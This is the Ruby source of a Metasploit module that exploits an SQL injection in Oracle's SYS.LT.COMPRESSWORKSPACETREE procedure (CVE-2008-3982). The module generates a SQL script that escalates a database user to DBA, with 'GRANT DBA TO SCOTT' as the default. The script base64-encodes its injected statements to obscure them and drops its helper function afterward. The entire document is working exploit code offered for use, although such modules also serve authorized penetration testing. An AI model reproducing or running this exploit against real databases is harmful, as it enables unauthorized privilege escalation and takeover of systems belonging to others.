101 lines
3.0 KiB
Ruby
101 lines
3.0 KiB
Ruby
##
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# $Id: lt_COMPRESSWORKSPACETREE.rb
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'SQL Injection in SYS.LT.COMPRESSWORKSPACETREE Procedure.',
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'Description' => %q{
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This module will escalate a Oracle DB user to DBA by exploiting an sql injection bug in
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SYS.LT.COMPRESSWORKSPACETREE procedure. Tested on Oracle 10g R1.
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},
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'Author' => [ 'Sh2kerr <research[ad]dsecrg.com>' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-3982' ],
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[ 'URL', 'http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml' ],
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],
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'DisclosureDate' => 'Jan 13 2009'))
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register_options(
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[
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OptString.new('SQL', [ false, 'The SQL to execute.', 'GRANT DBA TO SCOTT']),
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OptString.new('USER', [ false, 'The current user. ', 'SCOTT']),
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.sql']),
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OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']),
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], self.class)
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end
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def run
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name = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand1 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand2 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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rand3 = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
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function = %Q|
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CREATE OR REPLACE FUNCTION #{name} return varchar2
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authid current_user AS
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pragma autonomous_transaction;
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BEGIN
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EXECUTE IMMEDIATE '#{datastore['SQL']}';
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COMMIT;
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RETURN 'X';
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END;
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prepare ="BEGIN SYS.LT.CREATEWORKSPACE('X'' and #{datastore['USER']}.#{name}()=''X');END;"
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exploiting ="BEGIN SYS.LT.COMPRESSWORKSPACETREE('X'' and #{datastore['USER']}.#{name}()=''X');END;"
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fun = Rex::Text.encode_base64(function)
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prp = Rex::Text.encode_base64(prepare)
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exp = Rex::Text.encode_base64(exploiting)
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sql = %Q|
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DECLARE
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#{rand1} VARCHAR2(32767);
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#{rand2} VARCHAR2(32767);
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#{rand3} VARCHAR2(32767);
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BEGIN
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#{rand1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{fun}')));
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EXECUTE IMMEDIATE #{rand1};
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EXECUTE IMMEDIATE 'GRANT EXECUTE ON #{name} TO PUBLIC';
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#{rand2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{prp}')));
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EXECUTE IMMEDIATE #{rand2};
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#{rand3} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{exp}')));
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EXECUTE IMMEDIATE #{rand3};
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END;
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/
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DROP FUNCTION #{name};
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sql)
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end
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end |